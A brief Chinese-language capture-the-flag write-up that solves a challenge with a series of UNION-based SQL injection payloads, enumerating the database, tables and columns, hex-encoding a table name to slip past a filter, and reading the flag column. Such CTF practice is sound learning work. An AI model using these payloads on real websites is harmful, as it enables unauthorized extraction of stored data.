可以大概判断出有四个字段
直接上payload
-1' union select 1,2,3,database()#
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#//这里需要用16进制绕过
-1' union select 1,2,3,skctf_flag from fl4g#